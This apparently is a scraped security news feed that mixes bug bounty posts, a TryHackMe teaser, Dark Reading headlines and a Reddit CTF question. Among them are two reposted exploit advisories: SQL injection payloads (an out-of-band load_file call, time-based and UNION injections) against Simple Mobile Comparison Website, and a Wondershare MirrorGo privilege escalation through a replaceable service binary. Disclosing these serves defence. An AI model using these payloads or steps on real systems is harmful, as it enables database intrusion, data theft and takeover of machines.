More than 20 contributors from around the world have spent nearly a year developing Mars from scratch in the Rust programming language…Continue reading on Medium » (https://mars-protocol.medium.com/mars-protocol-offers-up-to-1-million-payout-in-bug-bounty-program-with-immunefi-471f92ae4865?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Retro— TryHackMe Walkthrough

https://cdn-images-1.medium.com/max/1557/1*zwG4-tj3KMItjMoC_HYVGQ.png
We are going to complete a very interesting room named “Retro” on TryHackMe

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hackers Are Attacking More Serious Things Now

https://cdn-images-1.medium.com/max/1280/1*zGpYXVzbncHlu6CdiXec3A.jpeg
Digital ​​attacks on cell phones are steadily declining.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Mars Protocol offers up to $1 million payout in bug bounty program with Immunefi

More than 20 contributors from around the world have spent nearly a year developing Mars from scratch in the Rust programming language…Continue reading on Medium »
Read more...

Take part of our Bug Bounty Program ‍
https://avacash.medium.com/take-part-of-our-bug-bounty-program-f13362877d5?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

As you well know Avacash.Finance is a fork of Tornado.cash in the Avalanche Blockchain, which means that we offer a fully decentralized…Continue reading on Medium » (https://avacash.medium.com/take-part-of-our-bug-bounty-program-f13362877d5?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Mobile Comparison Website 1.0 SQL Injection

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
Simple Mobile Comparison Website version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 7bc26129c74f96ccd5d7426b6c335f29

Download
# Title: Simple Mobile Comparison Website v1.0 - SQLi
# Author: nu11secur1ty
# Date: 02.23.2022
# Vendor: https://www.sourcecodester.com/users/tips23
# Software: https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html
# Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Simple-Mobile-Comparison-Website

## Description:
The `search` parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+'
was submitted in the search parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
WARNING: If this is in some external domain, or some subdomain
redirection, or internal whatever, this will be extremely dangerous!

Status: CRITICAL
[+] Payloads:

```mysql
---
Parameter: search (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=218336'+(select
load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+'')
AND (SELECT 2552 FROM (SELECT(SLEEP(3)))GbNG) AND ('HpeL'='HpeL

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=218336'+(select
load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+'')
UNION ALL SELECT
NULL,NULL,CONCAT(0x716a717a71,0x735848694861555664694c6a6765425a746554476c705941525556624b5562576d4f646f6f674f55,0x717a787871),NULL,NULL,NULL,NULL,NULL--
-
---

```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Simple-Mobile-Comparison-Website)

## Proof and Exploit:
[href](https://streamable.com/mtzocn)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Wondershare MirrorGo 2.0.11.346 Insecure File Permissions

https://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png
Wondershare MirrorGo version 2.0.11.346 suffers from an insecure permissions vulnerability.

MD5 | bac69c6a7ca0ae79e37a8aa25fce27b8

Download
# Exploit Title: Wondershare MirrorGo 2.0.11.346 - Insecure File Permissions
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-23
# Vendor Homepage: https://www.wondershare.com/
# Software Link : https://download.wondershare.com/mirror_go_full8050.exe
# Tested Version: 2.0.11.346
# Vulnerability Type: Local Privilege Escalation
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Privilege Escalation:

# Insecure folders permissions issue:

C:\>icacls "C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\*" | findstr /i "everyone" | findstr /i ".exe"
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\adb.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\BsSndRpt.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall32.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\DriverInstall64.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\MirrorGo.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ProcessKiller.exe.config Everyone:(I)(F)
C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\unins000.exe Everyone:(I)(F)

# Service info:

C:\>sc qc ElevationService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ElevationService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wondershare\Wondershare MirrorGo\ElevationService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wondershare Driver Install Service help
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A vulnerability was found in Wondershare MirrorGo 2.0.11.346. The Wondershare MirrorGo executable
"ElevationService.exe" has incorrect permissions, allowing a local unprivileged user to replace it
with a malicious file that will be executed with "LocalSystem" privileges.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Take part of our Bug Bounty Program ‍

As you well know Avacash.Finance is a fork of Tornado.cash in the Avalanche Blockchain, which means that we offer a fully decentralized…Continue reading on Medium »
Read more...

Dark Reading: Attacks/Breaches
SaaS in the Enterprise: The Good, the Bad, and the Unknown

SaaS offers many benefits to the enterprise, but security issues left unchecked can mitigate value.

Dark Reading: Attacks/Breaches
JupiterOne Unveils Starbase for Graph-Based Security

The open source asset management tool lets security analysts collect asset information all across the organization's digital operations and run queries to understand their relationships.

Dark Reading: Attacks/Breaches
Illusive Launches Identity Risk Management Platform

Illusive Spotlight automatically and continuously discovers and mitigates privileged identity risks, while Illusive Shadow protects against identity risks that can't be readily remediated.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Businesses Are at Significant Risk of Cybersecurity Breaches Due to Immature Security Hygiene and Posture Management Practices

Seven out of 10 organizations experienced a cyberattack that started through the exploit of unknown or poorly managed technology assets, according to Enterprise Strategy Group research.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to get started with CTF's?

Hello, I have just found out about Capture The Flag competitions, and that if you learn how to get good in CTF's, then you are a good cybersecurity expert, and you probably know how to use most of the tools used by hackers. So how can I get started in CTF's? Should I just hop into the competition right away to learn it? Or should I learn some things first?

submitted by /u/M3ther
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video